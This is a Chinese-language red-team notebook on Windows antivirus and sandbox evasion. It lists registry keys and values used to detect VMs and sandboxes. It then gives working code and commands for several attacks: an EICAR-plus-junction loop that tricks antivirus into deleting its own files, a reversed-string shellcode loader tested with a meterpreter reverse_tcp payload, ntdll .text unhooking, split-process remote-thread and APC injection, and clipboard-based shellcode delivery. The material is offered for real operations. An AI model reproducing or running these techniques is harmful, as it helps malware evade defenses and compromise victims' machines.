        RegCloseKey(regkey);
        return TRUE;
    }
    else
        return FALSE;
}
```

对于蓝队，如果注册表查询中出现了如下表项，那么该软件可能就在使用逃避技术。

| Detect     | Registry path                                                                   | Details (if any)                                                                |
| ---------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| \[general] | HKLM\Software\Classes\Folder\shell\sandbox                                      |                                                                                 |
| Hyper-V    | HKLM\SOFTWARE\Microsoft\Hyper-V                                                 |                                                                                 |
|            | HKLM\SOFTWARE\Microsoft\VirtualMachine                                          |                                                                                 |
|            | HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters                        | Usually "HostName" and "VirtualMachineName" values are read under this path     |
|            | HKLM\SYSTEM\ControlSet001\Services\vmicheartbeat                                |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmicvss                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmicshutdown                                 |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmicexchange                                 |                                                                                 |
| Parallels  | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN\_1AB8\*                              | Subkey has the following structure: VEN\_XXXX\&DEV\_YYYY\&SUBSYS\_ZZZZ\&REV\_WW |
| Sandboxie  | HKLM\SYSTEM\CurrentControlSet\Services\SbieDrv                                  |                                                                                 |
|            | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie              |                                                                                 |
| VirtualBox | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN\_80EE\*                              | Subkey has the following structure: VEN\_XXXX\&DEV\_YYYY\&SUBSYS\_ZZZZ\&REV\_WW |
|            | HKLM\HARDWARE\ACPI\DSDT\VBOX\_\_                                                |                                                                                 |
|            | HKLM\HARDWARE\ACPI\FADT\VBOX\_\_                                                |                                                                                 |
|            | HKLM\HARDWARE\ACPI\RSDT\VBOX\_\_                                                |                                                                                 |
|            | HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions                                 |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VBoxGuest                                    |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VBoxMouse                                    |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VBoxService                                  |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VBoxSF                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VBoxVideo                                    |                                                                                 |
| VirtualPC  | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN\_5333\*                              | Subkey has the following structure: VEN\_XXXX\&DEV\_YYYY\&SUBSYS\_ZZZZ\&REV\_WW |
|            | HKLM\SYSTEM\ControlSet001\Services\vpcbus                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vpc-s3                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vpcuhub                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\msvmmouf                                     |                                                                                 |
| VMware     | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN\_15AD\*                              | Subkey has the following structure: VEN\_XXXX\&DEV\_YYYY\&SUBSYS\_ZZZZ\&REV\_WW |
|            | HKCU\SOFTWARE\VMware, Inc.\VMware Tools                                         |                                                                                 |
|            | HKLM\SOFTWARE\VMware, Inc.\VMware Tools                                         |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmdebug                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmmouse                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VMTools                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\VMMEMCTL                                     |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmware                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmci                                         |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\vmx86                                        |                                                                                 |
|            | HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar\_VMware\_IDE\_CD\*         |                                                                                 |
|            | HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar\_VMware\_SATA\_CD\*        |                                                                                 |
|            | HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware\_Virtual\_IDE\_Hard\_Drive\*  |                                                                                 |
|            | HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware\_Virtual\_SATA\_Hard\_Drive\* |                                                                                 |
| Wine       | HKCU\SOFTWARE\Wine                                                              |                                                                                 |
|            | HKLM\SOFTWARE\Wine                                                              |                                                                                 |
| Xen        | HKLM\HARDWARE\ACPI\DSDT\xen                                                     |                                                                                 |
|            | HKLM\HARDWARE\ACPI\FADT\xen                                                     |                                                                                 |
|            | HKLM\HARDWARE\ACPI\RSDT\xen                                                     |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\xenevtchn                                    |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\xennet                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\xennet6                                      |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\xensvc                                       |                                                                                 |
|            | HKLM\SYSTEM\ControlSet001\Services\xenvdb                                       |                                                                                 |

## 检查特定的表项内的字符串

```
/* sample of usage: see detection of VirtualBox in the table below to check registry path and key values */
int vbox_reg_key2() {
    return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "SystemBiosVersion", "VBOX");
}

/* code is taken from "pafish" project, see references on the parent page */
int pafish_exists_regkey_value_str(HKEY hKey, char * regkey_s, char * value_s, char * lookup) {
    /*
        regkey_s == "HARDWARE\\Description\\System";
        value_s == "SystemBiosVersion";
        lookup == "VBOX";
    */

    HKEY regkey;
    LONG ret;
    DWORD size;
    char value[1024], * lookup_str;
    size_t lookup_size;

    lookup_size = strlen(lookup);
    lookup_str = malloc(lookup_size+sizeof(char));
    strncpy(lookup_str, lookup, lookup_size+sizeof(char));
    size = sizeof(value);

    /* regkey_s == "HARDWARE\\Description\\System"; */
    if (pafish_iswow64()) {
        ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ | KEY_WOW64_64KEY, &regkey);
    }
    else {
        ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
    }

    if (ret == ERROR_SUCCESS) {
        /* value_s == "SystemBiosVersion"; */
        ret = RegQueryValueEx(regkey, value_s, NULL, NULL, (BYTE*)value, &size);
        RegCloseKey(regkey);

        if (ret == ERROR_SUCCESS) {
            size_t i;
            for (i = 0; i < strlen(value); i++) { /* case-insensitive */
                value[i] = toupper(value[i]);
            }
            for (i = 0; i < lookup_size; i++) { /* case-insensitive */
                lookup_str[i] = toupper(lookup_str[i]);
            }
            if (strstr(value, lookup_str) != NULL) {
                free(lookup_str);
                return TRUE;
            }
        }
    }

    free(lookup_str);
    return FALSE;
}
```

| Detect     | Registry path                                                                                 | Registry key       | String                  |
| ---------- | --------------------------------------------------------------------------------------------- | ------------------ | ----------------------- |
| \[general] | HKLM\HARDWARE\Description\System                                                              | SystemBiosDate     | 06/23/99                |
|            | HKLM\HARDWARE\Description\System\BIOS                                                         | SystemProductName  | A M I                   |
| BOCHS      | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | BOCHS                   |
|            | HKLM\HARDWARE\Description\System                                                              | VideoBiosVersion   | BOCHS                   |
| Anubis     | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion                                                | ProductID          | 76487-337-8429955-22614 |
|            | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion                                             | ProductID          | 76487-337-8429955-22614 |
| CwSandbox  | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion                                                | ProductID          | 76487-644-3177037-23510 |
|            | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion                                             | ProductID          | 76487-644-3177037-23510 |
| JoeBox     | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion                                                | ProductID          | 55274-640-2673064-23950 |
|            | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion                                             | ProductID          | 55274-640-2673064-23950 |
| Parallels  | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | PARALLELS               |
|            | HKLM\HARDWARE\Description\System                                                              | VideoBiosVersion   | PARALLELS               |
| QEMU       | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | QEMU                    |
|            | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | QEMU                    |
|            | HKLM\HARDWARE\Description\System                                                              | VideoBiosVersion   | QEMU                    |
|            | HKLM\HARDWARE\Description\System\BIOS                                                         | SystemManufacturer | QEMU                    |
| VirtualBox | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VBOX                    |
|            | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VBOX                    |
|            | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VBOX                    |
|            | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | VBOX                    |
|            | HKLM\HARDWARE\Description\System                                                              | VideoBiosVersion   | VIRTUALBOX              |
|            | HKLM\HARDWARE\Description\System\BIOS                                                         | SystemProductName  | VIRTUAL                 |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | DeviceDesc         | VBOX                    |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | FriendlyName       | VBOX                    |
|            | HKLM\SYSTEM\ControlSet002\Services\Disk\Enum                                                  | DeviceDesc         | VBOX                    |
|            | HKLM\SYSTEM\ControlSet002\Services\Disk\Enum                                                  | FriendlyName       | VBOX                    |
|            | HKLM\SYSTEM\ControlSet003\Services\Disk\Enum                                                  | DeviceDesc         | VBOX                    |
|            | HKLM\SYSTEM\ControlSet003\Services\Disk\Enum                                                  | SystemProductName  | VBOX                    |
|            | HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation                                       | SystemProductName  | VIRTUAL                 |
|            | HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation                                       | SystemProductName  | VIRTUALBOX              |
| VMware     | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VMWARE                  |
|            | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VMWARE                  |
|            | HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0             | Identifier         | VMWARE                  |
|            | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | VMWARE                  |
|            | HKLM\HARDWARE\Description\System                                                              | SystemBiosVersion  | INTEL - 6040000         |
|            | HKLM\HARDWARE\Description\System                                                              | VideoBiosVersion   | VMWARE                  |
|            | HKLM\HARDWARE\Description\System\BIOS                                                         | SystemProductName  | VMware                  |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | 0                  | VMware                  |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | 1                  | VMware                  |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | DeviceDesc         | VMware                  |
|            | HKLM\SYSTEM\ControlSet001\Services\Disk\Enum                                                  | FriendlyName       | VMware                  |
|            | HKLM\SYSTEM\ControlSet002\Services\Disk\Enum                                                  | DeviceDesc         | VMware                  |
|            | HKLM\SYSTEM\ControlSet002\Services\Disk\Enum                                                  | FriendlyName       | VMware                  |
|            | HKLM\SYSTEM\ControlSet003\Services\Disk\Enum                                                  | DeviceDesc         | VMware                  |
|            | HKLM\SYSTEM\ControlSet003\Services\Disk\Enum                                                  | FriendlyName       | VMware                  |
|            | HKCR\Installer\Products                                                                       | ProductName        | vmware tools            |
|            | HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall                                      | DisplayName        | vmware tools            |
|            | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall                                      | DisplayName        | vmware tools            |
|            | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall                                      | DisplayName        | vmware tools            |
|            | HKLM\SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000          | CoInstallers32     |                         |
|            | HKLM\SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000          | DriverDesc         | VMware\*                |
|            | HKLM\SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000          | InfSection         | vmx\*                   |
|            | HKLM\SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000          | ProviderName       | VMware\*                |
|            | HKLM\SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings | Device Description | VMware\*                |
|            | HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation                                       | SystemProductName  | VMWARE                  |
|            | HKLM\SYSTEM\CurrentControlSet\Control\Video\\{GUID}\Video                                     | Service            | vm3dmp                  |
|            | HKLM\SYSTEM\CurrentControlSet\Control\Video\\{GUID}\Video                                     | Service            | vmx\_svga               |
|            | HKLM\SYSTEM\CurrentControlSet\Control\Video\\{GUID}\0000                                      | Device Description | VMware SVGA\*           |
| Xen        | HKLM\HARDWARE\Description\System\BIOS                                                         | SystemProductName  | Xen                     |

## LINKS

{% embed url="<https://github.com/a0rtega/pafish>" %}

{% embed url="<https://evasions.checkpoint.com/techniques/registry.html>" %}


# 利用杀毒软件删除任意文件

## 简介

通常，下载一个未知文件保存到硬盘后，杀毒软件通常会在短时间进行实时扫描，如果确定为可疑或威胁，该文件会被自动隔离，并询问用户是否处理。

考虑到杀毒软件几乎都已高权限运行，这样就为我们对杀毒软件利用产生了条件，我们可以往一个合法文件里写入恶意代码特征，然后利用杀毒软件帮我去删除这个文件，当然前提是这个文件当前没有使用。

## 测试字符串

```
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```

> **来自维基百科:**
>
> **EICAR标准反病毒测试文件**，又称**EICAR测试文件**, 是由[欧洲反计算机病毒协会](https://zh.wikipedia.org/wiki/%E6%AC%A7%E6%B4%B2%E5%8F%8D%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%97%85%E6%AF%92%E5%8D%8F%E4%BC%9A)（EICAR）与[计算机病毒研究组织](https://zh.wikipedia.org/w/index.php?title=%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%97%85%E6%AF%92%E7%A0%94%E7%A9%B6%E7%BB%84%E7%BB%87\&action=edit\&redlink=1)（CARO）研制的文件, 用以测试[杀毒软件](https://zh.wikipedia.org/wiki/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6)的响应程度。不同于使用可能造成实际破环的实体恶意软件，该文件允许人们在没有计算机病毒的情况下测试杀毒软件。
>
> 杀毒软件的开发者将EICAR字符串视为测试病毒，与其他鉴别标识相似。合格的病毒扫描器在发现文件时，会精确地采用相同方式处置，如同发现一个严重的病毒时那样。注意并非所有病毒扫描器是合格的，有些病毒扫描器会在精确识别后保留文件。
>
> EICAR测试字符的用法要比直接测试灵活：包含EICAR测试字符的文件会被[压缩](https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E5%8E%8B%E7%BC%A9)或者[存档](https://zh.wikipedia.org/wiki/%E5%AD%98%E6%A1%A3)，并且杀毒软件会尝试删除压缩文件中的测试字符。

简单的说为了测试杀毒软件的性能,所有厂商都会把这个测试字符串当作病毒处理。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M5_XXV3NUe-8fRnYuu_%2F-M5_YXfEscd8fsEkGqqd%2Fimage.png?alt=media\&token=d5ae5918-5371-459d-9f74-f20570eacae6)

预想一个场景，在杀毒软件运行时考虑到内存占用可能并不会加载所有自身dll，那我们往这个未加载的dll里写入这个测试字符串，这样杀毒软件就会自己干掉自己，等到需要用到这个功能dll的时候，这个功能就会失效。

## 利用流程

1. 往文件写入测试字符串

## 利用代码

```
echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*  > <FILENAME>
```

## 扩展利用

windows提供了一个目录链接功能，只能将两个目录链接在一起。它不能链接文件，并且目录必须在文件系统本地。目录连接可以由任何用户执行，并且不需要管理员特权，因此非常适合在Windows操作系统下利用防病毒软件进行利用。

此poc来自rack911labs:

```
:loop
rd /s /q C:\Users\Username\Desktop\exploit
mkdir C:\Users\Username\Desktop\exploit
echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\Username\Desktop\exploit\EpSecApiLib.dll
rd /s /q C:\Users\Username\Desktop\exploit
mklink /J C:\Users\Username\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”
goto loop
```

## LINKS

{% embed url="<https://zh.wikipedia.org/wiki/EICAR%E6%A0%87%E5%87%86%E5%8F%8D%E7%97%85%E6%AF%92%E6%B5%8B%E8%AF%95%E6%96%87%E4%BB%B6>" %}

{% embed url="<https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/>" %}


# 反转字符串绕杀软

## 简介

我也不想写什么花里胡哨的东西，就让我水一篇吧。

就继续延用这玩意把[SimpleShellcodeInject](https://github.com/DimopoulosElias/SimpleShellcodeInjector)，我还挺喜欢用这种shellcode传入方式的，让我们在这个基础上添加功能吧。

为了节省我们的时间就随便加一个能自动化实现的shellcode混淆方式(偷懒，手动狗头)，就直接添加一个字符串翻转吧。

## 思路

直接python一行代码翻转字符串。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDTdHADtnL4L-tgU3rE%2F-MDTdPMCHCqViHvUZnx_%2Fimage.png?alt=media\&token=a5e8c607-a384-4e46-ad9b-3ad682487b0f)

在加载器内翻转字符串。

```
    int p = 0;

    for (int i = strlen(str) - 1; i >= 0; i--)
    {
        temp[p++] = str[i];
    }
```

然后执行老哥的ssi，这里遇到一个坑，tm的vc6根本没有malloc(略略略)。

然后请出我们的卡巴斯基。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDTe6YxnsbeXTIdKVKa%2F-MDTeaXaElHQda9oKS6q%2Fimage.png?alt=media\&token=172b9978-aaf6-4708-820e-351ead63066d)

虽然我们古典主义脚本小子特别喜欢弹窗(更多时候弹calc)，这里我们再测一下Meterpreter。

防止在流量检测的时候被杀掉，我们使用windows/meterpreter/reverse\_tcp\_rc4这个payload。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDTe6YxnsbeXTIdKVKa%2F-MDTggo2HCtsYSWWwQx2%2Fimage.png?alt=media\&token=f4a637be-511f-4937-8b4a-f1949a517b17)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDTe6YxnsbeXTIdKVKa%2F-MDTgo4wJ78hTwjMibwp%2Fimage.png?alt=media\&token=f704f4c1-a880-478b-83c2-1f79f160fd07)

略略略。

## 代码

```
// hex.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"




int main(int argc, char* argv[]) {

    char *str = argv[1];
    

    unsigned int char_in_hex;
    
    unsigned int iterations = strlen(str);
    unsigned int memory_allocation = strlen(str) / 2;

    char* temp = (char*)VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    int p = 0;

    for (int i = strlen(str) - 1; i >= 0; i--)
    {
        temp[p++] = str[i];
    }

    char* shellcode = (char*)temp;

    for (i = 0; i < iterations - 1; i++) {
        sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
        shellcode[i] = (char)char_in_hex;
    }


    void* exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    memcpy(exec, shellcode, memory_allocation);
    VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, NULL);

    (*(void (*WINAPI)()) exec)();

    return 0;
}

```


# 重新加载.text节拖钩

## 简介

以前简单介绍过[inline hook](/persistence/detous-inline-hook)，杀软会对ntdll进入内核的函数进行挂钩，从而实现检测和阻止，mantvydasb师傅已经对这种技术有详尽的解释，并没有什么特别复杂的操作，只是把ntdll的.text(代码节)进行了读取覆盖。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MJevw5zEdzRHC-BPhHp%2F-MJew2nTdMDSSJbSEJgv%2Fimage.png?alt=media\&token=5fd902d8-1d1d-436c-8212-993dbd26f1f4)

## 流程

1. 读取ntdll进内存
2. 读取覆盖.text节

## 代码

代码是对mantvydasb师傅拙劣的模仿（直接抄233）。

ps:使用MapViewOfFile读取文件会直接在内存里展开。

```
#include <Windows.h>
#include <psapi.h>

int main()
{
	MODULEINFO mInfo = { 0 };
	HANDLE hProcess = GetCurrentProcess();

	//get address of ntdll in virtual memory 
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	GetModuleInformation(hProcess, hNtdll, &mInfo, sizeof(mInfo));
	LPVOID lpNtdllbase = (LPVOID)mInfo.lpBaseOfDll;
	
	HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER pDosheader = (PIMAGE_DOS_HEADER)lpNtdllbase;
	PIMAGE_NT_HEADERS pNtheader = (PIMAGE_NT_HEADERS)((DWORD_PTR)lpNtdllbase + pDosheader->e_lfanew);

	for (WORD i = 0; i < pNtheader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER pSectionheader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pNtheader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)pSectionheader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), (LPVOID)((DWORD_PTR)lpNtdllmaping + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize, oldProtection, NULL);
		}
	}

	CloseHandle(hProcess);
	CloseHandle(hNtdllfile);
	CloseHandle(lpNtdllmaping);
	FreeLibrary(hNtdll);

	return 0;
}
```

## LINKS

{% embed url="<https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++>" %}


# x64转换层&跨位数进程注入

欸 我不写你气不气


# Divide and Conquer

## &#x20;简介

看到了一种比较有意思的手法，现在的杀软会关注函数的执行链， [theevilbit](https://gist.github.com/theevilbit)公开了一种通过不同进程分离执行API，绕过基于行为的AV检测。

常见的行为检测会有监控堆栈的调用链和hookapi记录行为，这种分离执行方式都能绕过。

## 流程

1. 创建傀儡进程
2. 向傀儡进程写入payload
3. 创建同文件进程传入pid
4. 通过pid打开傀儡句柄
5. 创建远程线程

## 代码

```


#include <stdio.h>
#include <windows.h>
unsigned char shellcode[] =
"\xfc78\x00";

int main(int argc, char* argv[]) {

    if (argv[1]==NULL)
    {
        STARTUPINFOA si = { 0 };
        si.cb = sizeof(si);
        PROCESS_INFORMATION pi = { 0 };

        CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
        VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);

        char cmd[MAX_PATH] = {0};
        wsprintfA(cmd, "%s %d", argv[0], pi.dwProcessId);

        CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
    }
    else
    {
        HANDLE hProcess =  OpenProcess(PROCESS_ALL_ACCESS, NULL, atoi(argv[1]));
        CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0x0000480000000000, 0, 0, 0);
    }
    
    
    return 0;
}

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MRY9OXAPzGE_BUkKAV6%2F-MRY9PzWigSjH0bCJvCP%2Fimage.png?alt=media\&token=536d5460-35da-48a6-a984-5d209ac31f78)

## 同理

```
    if (argv[1]==NULL)
    {
        STARTUPINFOA si = { 0 };
        si.cb = sizeof(si);
        PROCESS_INFORMATION pi = { 0 };

        CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);
        char cmd[MAX_PATH] = {0};
        wsprintfA(cmd, "%s %d", argv[0], pi.dwThreadId);
        QueueUserAPC((PAPCFUNC)0x0000480000000000, pi.hThread, NULL);
        CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
    }
    else
    {
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, NULL, atoi(argv[1]));
        ResumeThread(hThread);
    }
    
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MRYIyrEVcYcMcmFDkc9%2F-MRYJ0YPXyQtTwUSZGPB%2Fimage.png?alt=media\&token=cb521ecf-d31d-4040-bd52-5a350af7e3a0)

## LINK

{% embed url="<https://gist.github.com/theevilbit/073ca4eb15383eb3254272fc24632efd>" %}


# Clipboard Data Deliver

## 简介

我这水文居然还有人催更，就随便写点什么吧。

前几天同事叫我写个小demo，这里简单记录下，说需要监控剪贴板数据，实质也是一块共享内存，以往用剪贴板作为跨进程通信的方式传递过payload，常见的通信方式也就那么几种ReadFile/WriteFile,CreateMailslot,CreatePipe,socket,OpenClipboard,CreateFileMapping。

## 流程

1. OpenClipboard打开剪贴板
2. GetClipboardData指定格式检索获取对象
3. GlobalLock锁定内存对象获取指针
4. 读取数据
5. GlobalUnlock解锁全局对象
6. CloseClipboard关闭剪贴板

## 代码

### 监听

```
    HGLOBAL   hglb;
    LPVOID    lptstr;
    SYSTEMTIME systemTime;
    if (!OpenClipboard(NULL)) { return; };
    hglb = GetClipboardData(CF_TEXT);
    if (hglb != NULL)
    {
        lptstr = GlobalLock(hglb);
        if (lptstr != NULL)
        {
            GetLocalTime(&systemTime);
            printf("%d.%d.%d %d:%d:%d\n", systemTime.wYear, systemTime.wMonth, systemTime.wDay, systemTime.wHour, systemTime.wMinute, systemTime.wSecond);
            printf("%s\n", lptstr);
            fflush(stdout);
            GlobalUnlock(hglb);
        }
    }
    CloseClipboard();
```

### 传递

```

    if (!OpenClipboard(NULL)) { return; };
    hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE,sizeof(shellcode));

    lpCopy = GlobalLock(hGlobalCopy);
    memcpy(lpCopy, payload->payload, payload->length);
    GlobalUnlock(hGlobalCopy);

    SetClipboardData(CF_TEXT, hGlobalCopy);

    hGlobal = GetClipboardData(CF_TEXT);
    if (hGlobal != NULL)
    {
        lptstr = GlobalLock(hGlobal);
        if (lptstr != NULL)
        {
            memcpy(buffer, lptstr, payload->length);
            GlobalUnlock(hGlobal);
        }
    }
    EmptyClipboard();
    CloseClipboard();
    spawn(buffer, payload->length, payload->key);
    free(buffer);
    
```

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/windows/win32/dataxchg/clipboard?redirectedfrom=MSDN>" %}


# .NET Reflective Injection

## 简介

反射注入(ReflectiveInjection)这种技术也出来好多年了，实现原理大致是不依赖windows提供的loadlibrary函数，程序设计者自己在程序内实现pe的内存展开，由于是自己实现，所以不会在操作系统中有所记录，以及可以对展开的pe文件做一些处理如抹除DOS头，同时不会在peb的ldr链表中记录，发展至今反射注入几乎已经是所有c2的标配技术，github也有非常成熟的项目可供使用，不过由于使用量较大，建议还是简单修改一下再投入实战比较好。

